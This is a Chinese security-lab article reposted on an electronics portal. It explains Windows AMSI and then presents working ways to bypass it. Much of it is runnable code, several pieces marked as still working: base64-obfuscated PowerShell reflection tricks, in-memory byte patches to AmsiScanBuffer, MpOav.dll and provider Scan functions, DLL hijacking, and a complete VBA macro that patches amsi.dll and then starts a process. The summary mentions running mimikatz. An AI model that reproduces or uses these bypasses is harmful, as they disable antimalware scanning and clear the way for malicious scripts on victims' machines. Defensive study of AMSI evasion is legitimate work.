0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

什么是AMSI?AMSI绕过原理与实践

蛇矛实验室 来源:蛇矛实验室 2023-02-24 10:42 次阅读

1.什么是AMSI

AMSI全称(Antimalware Scan Interface),反恶意软件扫描接口

反恶意软件扫描接口是允许应用程序与反恶意软件产品集成的标准

例如,在可编写脚本的应用程序中,当脚本准备好提供给脚本引擎时,应用程序可以调用Windows AMSI API,请求在执行之前扫描内容。

AMSI有效的原因是,无论代码经过多么复杂的模糊处理和混淆,当脚本需要在脚本宿主中运行时,都必须是明文未经混淆的代码形式执行。比如powershell代码,无论经过多复杂的模糊处理或者编码(比如Base64),但是当需要执行powershell代码是必须要解码之后符合powershell代码规范才能执行。

2.AMSI架构

任何应用程序(消费者)都可以请求扫描内容

任何安全供应商(供应商)都可以注册以接收扫描请求

操作系统是中介程序amsi.dll,必须由任何受amsi保护的应用程序导入

e35ec6be-b37c-11ed-bfe3-dac502259ad0.png

3.受AMSI影响的产品

PowerShell (>2.0)

JavaScript

VBScript

VBA (office macro)

WMI

User Account Control (UAC)elevations

Excel 4.0 macros

Volume shadow copy operations

.NET in-memory assembly loads

4.AMSI函数

语法参数等详细信息可以查看微软官方文档

函数名 作用
AmsiCloseSession 关闭由 AmsiOpenSession 打开的会话。
AmsiInitialize 初始化 AMSI API。
AmsiNotifyOperation 向反恶意软件提供程序发送任意操作的通知。
AmsiOpenSession 打开可在其中关联多个扫描请求的会话。
AmsiResultIsMalware 确定扫描结果是否指示应阻止内容。
AmsiScanBuffer 扫描缓冲区中的内容中寻找恶意软件。
AmsiScanString 扫描字符串中的恶意软件。
AmsiUninitialize 删除 AmsiInitialize最初打开的 AMSI API 实例。

5.禁用AMSI

断开AMSI链条中的任何一个环节

e3bba032-b37c-11ed-bfe3-dac502259ad0.png

5.1.应用程序侧的Unhook

各种应用程序是通过AMSI这个接口被检测的,可以通过断开某个应用程序(比如powershell)到AMSI的路线来使这个应用程序(比如powershell)不被AMSI扫描,从而绕过AMSI。

取决于受AMSI保护的应用程序如何使用AMSI,了解应用程序的工作原理,使其在不调用AmsiScanBuffer的情况下执行代码。

e3f20870-b37c-11ed-bfe3-dac502259ad0.png

5.1.1使用反射

首先了解powershell是如何调用AMSI的

e40a96f6-b37c-11ed-bfe3-dac502259ad0.png

powershell可以通过反射破坏Amsi的初始化相关对象(amsiInitFailed、amsiSession、amsiContext),使其不能正常初始化,从而不对当前进程进行扫描。

(这是2016年提出的概念脚本,现在AMSI会识别并拦截了)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiInitFailed","NonPublic,Static").SetValue($null,$true)

[Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiSession","NonPublic,Static").SetValue($null,$null);

$mem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(9076) [Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext", "NonPublic,Static").SetValue($null, [IntPtr]$mem)

改变上面的第一个脚本,使用base64绕过(此脚本也已经失效)

[Ref].Assembly.GetType('System.Management.Automation.'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBtAHMAaQBVAHQAaQBsAHMA')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),'NonPublic,Static').SetValue($null,$true)

再次修改脚本,全部使用base64绕过(目前可用)

function b64decode {
param ($encoded)
$decoded = $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($encoded))
return$decoded
}
$1 = b64decode("U3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbi5BbXNpVXRpbHM=")
$2 = b64decode("YW1zaUluaXRGYWlsZWQ=")
$3 = b64decode("Tm9uUHVibGljLFN0YXRpYw==")
[Ref].Assembly.GetType($1).GetField($2,$3).SetValue($null,$true)

最终绕过AMSI效果如下:

e42c0dd6-b37c-11ed-bfe3-dac502259ad0.png

(同样有效的脚本)

$w = 'System.Management.Automation.A';$c= 'si';$m= 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}m{1}{2}'-f $w,$c,$m))
$field = $assembly.GetField(('am{0}InitFailed'-f $c),'NonPublic,Static')
$field.SetValue($null,$true)

5.2.patch AMSI.DLL代码

AMSI的一个主要组件被实现为DLL,该DLL被加载到每个受AMSI保护的进程中,此DLL充当托管PowerShell代码和COM反恶意软件提供程序之间的连接器。因此通过修补AMSI.DLL的代码数据部分,攻击者可以破坏AMSI链。

5.2.1patch AmsiScanBuffer函数

AmsiScanBuffer()函数扫描充满恶意软件内容的缓冲区,攻击者可以修补AmsiScanBuffer的任何部分(或其调用的其他代码片段),并根据其意愿使其返回AMSI_RESULT值。

e443b684-b37c-11ed-bfe3-dac502259ad0.png

(下面示例代码目前可用)

$Win32 = @"
using System;
using System.Runtime.InteropServices;
public class Win32 {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $Win32
$LoadLibrary = [Win32]::LoadLibrary("am"+ "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary,"Amsi"+ "Scan"+ "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3) #E_INVALIDARG
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

为什么$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)?

这是因为在64位下HRESULT:0x80070057 (E_INVALIDARG)的字节码是0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3。而E_INVALIDARG代表传入的参数之一无效。当AmsiScanBuffer因为参数错误而导致返回代码是E_INVALIDARG时,实际扫描结果为0即AMSI_RESULT_CLEAN。

5.2.2patch AMSI Context 结构体

AMSI Context 结构体在AmsiInitialize例程期间初始化,存储在AMSI保护的进程内存中,可以通过搜索“AMSI”签名在内存中找到AMSI Context 结构体或找到指向它的全局指针,覆盖此结构将导致AmsiScanBuffer失效。

5.3.COM Server劫持

AMSI提供程序通过在HKLMSoftwareClassesCLSID中创建CLSID条目并在HKLMSSoftwareMicrosoftAMSIproviders中注册相同的CLSID来注册自己。当AMSI在主机进程中初始化时,它将枚举Providers注册表项中列出的每个CLSID,并通过导入InProcServer32子项中的DLL来初始化COM对象。

e461b378-b37c-11ed-bfe3-dac502259ad0.png

IAntimalwareProvider是构成AMSI主要关键的接口。想要提供反恶意软件服务的每个AMSI提供程序都需要实现lAntimalwareProvider COM接口。

劫持AMSI提供程序COM服务器可能导致绕过AMSI,而且可通过注册表监控轻松检测。

e4973f34-b37c-11ed-bfe3-dac502259ad0.png

5.4.patch AMSI提供程序

这种方法将导致AMSI初始化过程失败,从而破坏AMSI链。通过修补amsi.dll区域外的非受监控内存来完成

为了理解它,让我们深入到AMSI内部

e4cfb4ea-b37c-11ed-bfe3-dac502259ad0.png

AMSI Initialization

任何想要使用AMSI服务的提供商都必须调用Amsilnitialize函数,用信息填充HAMSICONTEXT。下面是简化的代码

e4f42bae-b37c-11ed-bfe3-dac502259ad0.png

我们会破坏一些不太直观的东西来保护提供程序本身,修补提供程序的DLL中DllGetClassObject函数的序言字节,并干扰AMSI的初始化过程。

AmsiUninitialize

每个使用AMSI的应用程序都有一个代码,用于取消初始化AMSI,那就是AmsiUninitialize函数。在PowerShell中,我们可以使用反射来调用此代码。在AmsiUtils类中声明一个名为Uninitialize()的函数,为我们取消初始化AMSI。

5.4.1Patch Microsoft MpOav.dll

基于此原理可以得到一个bypass脚本,下面是一个示例patch Microsoft提供程序的DLL(MpOav.DLL),可以通过适当的查询注册表项来查找所有提供程序的DLL。

(下面示例代码目前仍然有效)

$APIs = @"
using System;
using System.Runtime.InteropServices;
public class APIs {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr ekwiam, uint flNewProtect, out uint lpflOldProtect);
}
"@

Add-Type $APIs
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
$LoadLibrary = [APIs]::LoadLibrary("MpOav.dll")
$Address = [APIs]::GetProcAddress($LoadLibrary, "DllGetClassObject")
$p = 0
[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p) 
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)

$object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')
$Uninitialize = $object.GetMethods("NonPublic,static") | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.2替换Add-Type Patch Microsoft MpOav.dll

Add-Type会将代码写入磁盘上的临时文件,然后使用csc.exe 将此代码编译为二进制文件,落地到磁盘上可能导致AV检测

解决方案:反射

(下面的示例代码是使用反射来代替Add-Type)

functionGet-ProcAddress{
Param(
[Parameter(Position = 0, Mandatory = $True)] [String] $Module,
[Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
)

# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And$_.Location.Split('\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
return$GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
functionGet-DelegateType
{
Param
(
[OutputType([Type])]

[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),

[Parameter( Position = 1)]
[Type]
$ReturnType = [Void]
)

$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')

Write-Output $TypeBuilder.CreateType()
}
$LoadLibraryAddr = Get-ProcAddress kernel32.dll LoadLibraryA
$LoadLibraryDelegate = Get-DelegateType @([String]) ([IntPtr])
$LoadLibrary = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LoadLibraryAddr,
$LoadLibraryDelegate)
$GetProcAddressAddr = Get-ProcAddress kernel32.dll GetProcAddress
$GetProcAddressDelegate = Get-DelegateType @([IntPtr], [String]) ([IntPtr])
$GetProcAddress = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetProcAddressAddr,
$GetProcAddressDelegate)
$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect
$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool])
$VirtualProtect = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr,
$VirtualProtectDelegate)

$hModule = $LoadLibrary.Invoke("MpOav.dll")
$DllGetClassObjectAddress = $GetProcAddress.Invoke($hModule,
"DllGetClassObject")
$p = 0
$VirtualProtect.Invoke($DllGetClassObjectAddress, [uint32]6, 0x40, [ref]$p) 
$ret_minus = [byte[]] (0xb8, 0xff, 0xff, 0xff, 0xff, 0xC3)
[System.Runtime.InteropServices.Marshal]::Copy($ret_minus, 0, $DllGetClassObjectAddress, 6)
$object = [Ref].Assembly.GetType('System.Ma'+'nag'+'eme'+'nt.Autom'+'ation.A'+'ms'+'iU'+'ti'+'ls')
$Uninitialize = $object.GetMethods('N'+'onPu'+'blic,st'+'at'+'ic') | Where-Object Name -eq Uninitialize
$Uninitialize.Invoke($object,$null)

5.4.3扫描拦截

我们可以拦截AMSIs扫描过程而不是初始化(如经典AmsiScanBuffer patch代码,可以不需要接触amsi.dl就可以完成)

AmsiScanBuffer为每个注册的AMSI提供程序调用IAntimalwareProvider::Scan() 如果提供程序返回的结果不是AMSI_RESULT_NOT_DETECTED AMSI_RESULT_CLEAN,则扫描将停止并返回结果,而不调用其余提供程序,比如:AmsiScanBuffer、CAmsiBufferStream、CAmsiAntimalware::Scan。

所以需要找到提供商的扫描函数

调用AmsiInitialize将为我们生成一个新的HAMSICONTEXT,然后将它指向提供程序DLL中的相同扫描函数,我们可以修补每个提供商的 scan函数,所以它将返回而不填写AMSI_RESULT(将保持AMSI_RESULT_CLEAN)。

(下面的示例代码目前仍然可用)

$Apis = @"
using System;
using System.Runtime.InteropServices;
public class Apis {
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("amsi")]
public static extern int AmsiInitialize(string appName, out Int64 context);
}
"@
Add-Type $Apis

$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)
$p = 0; $i = 0
$SIZE_OF_PTR = 8
[Int64]$ctx = 0

[Apis]::AmsiInitialize("MyScanner", [ref]$ctx)
$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$ctx, 16)
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64)

# Loop through all the providers
while($AntimalwareProvider -ne 0)
{
# Find the provider's Scan function
$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProvider)
$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$AntimalwareProviderVtbl, 24)

# Patch the Scan function
Write-host "[$i] Provider's scan function found!"$AmsiProviderScanFunc
[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)
[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, [IntPtr]$AmsiProviderScanFunc, 6)

$i++
$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt64([IntPtr]$CAmsiAntimalware, 64+ ($i*$SIZE_OF_PTR))
}

5.5 更多AMSI bypass技术

5.5.1 使用PowerShell版本2

切换powershell版本:powershell -version 2

e52c9b9c-b37c-11ed-bfe3-dac502259ad0.png

在脚本中:在脚本开头加入#requires -version 2

这样如果可以使用2.0,脚本会以2.0执行,如果不能,会按照当前powershell版 本执行

5.5.3 amsi.dll劫持

LoadLibrary函数导入dll的时候没有使用绝对路径,因此程序会首先在当前目录下寻找dll,因此可以在 powershell.exe同目录下(C:WindowsSystem32WindowsPowerShellv1.0)放一个伪造amsi.dll,就可以实现DLL劫持,而不会调用系统的amsi.dll(C:WindowsSystem32asmi.dll)

dll导入优先级如下:

进程对应的应用程序所在目录
系统目录(通过 GetSystemDirectory 获取)
16位系统目录
Windows目录(通过 GetWindowsDirectory 获取)
当前目录
PATH环境变量中的各个目录

5.5.4 宏代码绕过AMSI

详细说明可查阅:https://secureyourit.co.uk/wp/2019/05/10/dynamic-microsoft-office-365-amsi-in-memory-bypass-using-vba/

Private DeclarePtrSafe FunctionGetProcAddress Lib "kernel32"(ByVal hModule AsLongPtr, ByVal lpProcName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionLoadLibrary Lib "kernel32"Alias"LoadLibraryA"(ByVal lpLibFileName AsString) AsLongPtr
PrivateDeclarePtrSafe FunctionVirtualProtect Lib "kernel32"(lpAddress AsAny, ByVal dwSize AsLongPtr, ByVal flNewProtect AsLong, lpflOldProtect AsLong) AsLong
PrivateDeclarePtrSafe Sub ByteSwapper Lib "kernel32.dll"Alias"RtlFillMemory"(Destination AsAny, ByVal LengthAsLong, ByVal Fill AsByte)
DeclarePtrSafe Sub Peek Lib "msvcrt"Alias"memcpy"(ByRef pDest AsAny, ByRef pSource AsAny, ByVal nBytes AsLong)
PrivateDeclarePtrSafe FunctionCreateProcess Lib "kernel32"Alias"CreateProcessA"(ByVal lpApplicationName AsString, ByVal lpCommandLine AsString, lpProcessAttributes AsAny, lpThreadAttributes AsAny, ByVal bInheritHandles AsLong, ByVal dwCreationFlags AsLong, lpEnvironment AsAny, ByVal lpCurrentDriectory AsString, lpStartupInfo AsSTARTUPINFO, lpProcessInformation AsPROCESS_INFORMATION) AsLong
PrivateDeclarePtrSafe FunctionOpenProcess Lib "kernel32.dll"(ByVal dwAccess AsLong, ByVal fInherit AsInteger, ByVal hObject AsLong) AsLong
PrivateDeclarePtrSafe FunctionTerminateProcess Lib "kernel32"(ByVal hProcess AsLong, ByVal uExitCode AsLong) AsLong
PrivateDeclarePtrSafe FunctionCloseHandle Lib "kernel32"(ByVal hObject AsLong) AsLong
PrivateTypePROCESS_INFORMATION
hProcess AsLong
hThread AsLong
dwProcessId AsLong
dwThreadId AsLong
EndType

PrivateTypeSTARTUPINFO
cb AsLong
lpReserved AsString
lpDesktop AsString
lpTitle AsString
dwX AsLong
dwY AsLong
dwXSize AsLong
dwYSize AsLong
dwXCountChars AsLong
dwYCountChars AsLong
dwFillAttribute AsLong
dwFlags AsLong
wShowWindow AsInteger
cbReserved2 AsInteger
lpReserved2 AsLong
hStdInput AsLong
hStdOutput AsLong
hStdError AsLong
EndType

Const CREATE_NO_WINDOW = &H8000000
Const CREATE_NEW_CONSOLE = &H10

FunctionLoadDll(dll AsString, func AsString) AsLongPtr

Dim AmsiDLL AsLongPtr

AmsiDLL = LoadLibrary(dll)
LoadDll = GetProcAddress(AmsiDLL, func)

EndFunction

FunctionGetBuffer(LeakedAmsiDllAddr AsLongPtr, TraverseOffset AsInteger) AsString

Dim LeakedBytesBuffer AsString
Dim LeakedByte AsLongPtr
Dim TraverseStartAddr AsLongPtr

OnErrorResumeNext

TraverseStartAddr = LeakedAmsiDllAddr - TraverseOffset

Dim i AsInteger
Fori = 0ToTraverseOffset
Peek LeakedByte, ByVal (TraverseStartAddr + i), 1

IfLeakedByte < 16 Then
        FixedByteString = "0" & Hex(LeakedByte)
        LeakedBytesBuffer = LeakedBytesBuffer & FixedByteString
    Else
        LeakedBytesBuffer = LeakedBytesBuffer & Hex(LeakedByte)
    End If
Next i
 
GetBuffer = LeakedBytesBuffer
 
End Function
 
Function FindPatchOffset(LeakedAmsiDllAddr As LongPtr, TraverseOffset As Integer, InstructionInStringOffset As Integer) As LongPtr
 
Dim memOffset As Integer
 
memOffset = (InstructionInStringOffset - 1) / 2
FindPatchOffset = (LeakedAmsiDllAddr - TraverseOffset) + memOffset
 
End Function
 
Sub x64_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "4C8BDC49895B08"
ScanStringMagicBytes = "4883EC384533DB"
TrvOffset = 352
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "C3")
    Success = Success + 1
End If
 
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "C3")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
Sub x32_office()
 
Dim LeakedAmsiDllAddr As LongPtr
 
Dim ScanBufferMagicBytes As String
Dim ScanStringMagicBytes As String
Dim LeakedBytesBuffer As String
Dim AmsiScanBufferPatchAddr As LongPtr
Dim AmsiScanStringPatchAddr As LongPtr
Dim TrvOffset As Integer
 
Dim InstructionInStringOffset As Integer
Dim Success As Integer
 
ScanBufferMagicBytes = "8B450C85C0745A85DB"
ScanStringMagicBytes = "8B550C85D27434837D"
TrvOffset = 300
Success = 0
 
LeakedAmsiDllAddr = LoadDll("amsi.dll", "AmsiUacInitialize")
 
LeakedBytesBuffer = GetBuffer(LeakedAmsiDllAddr, TrvOffset)
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanBufferMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanbuffer magicbytes :/"
Else
    AmsiScanBufferPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanBufferPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanBufferPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 1), 1, Val("&H" & "31")
    ByteSwapper ByVal (AmsiScanBufferPatchAddr + 2), 1, Val("&H" & "C0")
    Success = Success + 1
End If
 
InstructionInStringOffset = InStr(LeakedBytesBuffer, ScanStringMagicBytes)
If InstructionInStringOffset = 0 Then
    ' MsgBox "We didn't find the scanstring magicbytes :/"
Else
    AmsiScanStringPatchAddr = FindPatchOffset(LeakedAmsiDllAddr, TrvOffset, InstructionInStringOffset)
 
    Debug.Print Hex(AmsiScanStringPatchAddr)
 
    Result = VirtualProtect(ByVal AmsiScanStringPatchAddr, 32, 64, 0)
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 0), 1, Val("&H" & "90")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 1), 1, Val("&H" & "31")
    ByteSwapper ByVal (AmsiScanStringPatchAddr + 2), 1, Val("&H" & "D2")
    Success = Success + 1
End If
 
If Success = 2 Then
    Call CallMe
End If
 
End Sub
 
Sub TestOfficeVersion()
 
#If Win64 Then
    Call x64_office
#ElseIf Win32 Then
    Call x32_office
#End If
 
End Sub
 
Sub CallMe()
     
Dim pInfo As PROCESS_INFORMATION
Dim sInfo As STARTUPINFO
Dim sNull As String
Dim lSuccess As Long
Dim lRetValue As Long
 
lSuccess = CreateProcess(sNull, "calc.exe", ByVal 0&, ByVal 0&, 1&, CREATE_NEW_CONSOLE, ByVal 0&, sNull, sInfo, pInfo)
 
lRetValue = CloseHandle(pInfo.hThread)
lRetValue = CloseHandle(pInfo.hProcess)
 
End Sub

6. 总结

powershell绕过方法不适合mimikatz,可以执行powershell版的mimikatz,但是会被杀毒软件(defender等)查杀。

e5410582-b37c-11ed-bfe3-dac502259ad0.png

由于AMSI.DLL和提供程序的DLL加载到潜在攻击者所在的相同内存空间,因此破坏操作更容易。

AMSI提供程序的内存以及AMSI.dll内存空间应受到保护

AMSI的Un-initialization可能会让我们找到通过干扰AMSI初始化过程来禁用AMSI的新方法,一种不同于当前干扰AMSI扫描过程的技术。






审核编辑:刘清

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • dll
    dll
    +关注

    关注

    0

    文章

    113

    浏览量

    45017
  • VBA
    VBA
    +关注

    关注

    0

    文章

    16

    浏览量

    11851
  • Com
    Com
    +关注

    关注

    1

    文章

    103

    浏览量

    40394
  • uac
    uac
    +关注

    关注

    0

    文章

    8

    浏览量

    4062

原文标题:AMSI绕过原理与实践

文章出处:【微信号:蛇矛实验室,微信公众号:蛇矛实验室】欢迎添加关注!文章转载请注明出处。

收藏 人收藏

    评论

    相关推荐

    CYW4373减小固件大小并绕过固件下载之后,WIFI无法启动怎么解决?

    我正在使用 airoc-wi-fi-bluetooth-stm32 stm 扩展包中的 wifi_nextxduo 示例代码。 我喜欢减小固件大小,绕过每次下载固件。 但是在我减小固件大小并绕过固件
    发表于 03-01 08:32

    NvFBCCuda捕获可以绕过teamviewer吗?

    连接并捕获,它就可以正常工作。我有什么想法可以绕过teamviewer?谢谢以上来自于谷歌翻译以下为原文Hi all I have this M60 Grid setup, with the GPU
    发表于 09-17 14:30

    怎么绕过内部耦合器

    问候,我一直试图通过绕过测试端口的内部耦合器来提高我的N5230C PNA灵敏度。为实现这一目标,我直接访问了内部微波硬件配置,并通过循环器路由信号。请参阅附件。我没有达到更好的灵敏度,但是我的测量
    发表于 10-22 16:14

    如何通过PSOC5LP绕过数字BISS信号?

    哈罗社区我目前试图绕过一个数字信号槽PSOC5。我附加了一个图像来清除配置。引脚2和4将外部BISS接口的时钟信号设置为2 MHz,引脚3和6将传输数据。引脚2和3连接到外部Biss
    发表于 09-06 07:43

    如何才能绕过这个安装障碍?

    我已经多次尝试在我的XP SP3框上安装这个包,并且在我被告知安装完成的地方,我的下一个点击带来了一条消息,告诉我没有安装更新管理器。安装显然终止,没有图标或快捷方式被创建,保存在“开始菜单”中出现的“CySuther为PSoC设计器5.4”。我怎样才能绕过这个障碍?
    发表于 09-17 06:22

    HAL在 * .hpp 和 * .cpp文件中不起作用,可以绕过吗?

    HAL在 * .hpp 和 * .cpp文件中不起作用。可以绕过吗?
    发表于 02-07 06:21

    软WAF上传绕过+wbehshell免杀

    软WAF上传绕过+wbehshell免杀
    发表于 09-07 10:35 4次下载
    软WAF上传<b class='flag-5'>绕过</b>+wbehshell免杀

    python如何轻松绕过UAC

    你的问题咯! 通过下面的代码我们可以轻松绕过UAC: # -*- coding: utf-8 -*- Created on Mon Jan 8 09:09:51 2018 @author
    的头像 发表于 10-12 11:05 4632次阅读
    python如何轻松<b class='flag-5'>绕过</b>UAC

    黑客使用零宽度空格绕过Office 365的保护

    微软最近修复了Office 365的一个漏洞,黑客之前利用这个漏洞绕过钓鱼保护,将恶意信息发送到受害者邮箱中。
    的头像 发表于 01-26 16:38 3694次阅读

    怎样无根绕过Android 4.4(KitKat)外部SD卡限制

    因此,通过将文件移动到相应的文件夹,可以绕过SD卡限制。但是,需要记住一些事情。
    的头像 发表于 11-04 09:34 1988次阅读

    美国黑客绕过MFA攻击多个云计算服务

    美联储警告称,网络犯罪分子通过绕过多因素认证(MFA),从而成功的攻击了美国多家机构的云服务。
    的头像 发表于 02-09 15:12 1365次阅读

    测控工程实践之LabVIEW实践教程

    测控工程实践之LabVIEW实践教程说明。
    发表于 04-19 14:29 42次下载

    AMSI117 1A低压差稳压器资料说明

    AMSI117 1A低压差稳压器资料说明
    发表于 01-04 11:10 3次下载

    绕过kernel模块版本校验检测

    绕过kernel模块版本校验检测
    发表于 10-28 11:07 0次下载

    如何优雅地绕过函数调用链呢?

    在某次实践中碰到一个沙箱,在不知道沙箱强度的情况下只能一点点去探索,程序通过调用ShellCode弹出计算器。
    的头像 发表于 08-11 18:24 905次阅读
    如何优雅地<b class='flag-5'>绕过</b>函数调用链呢?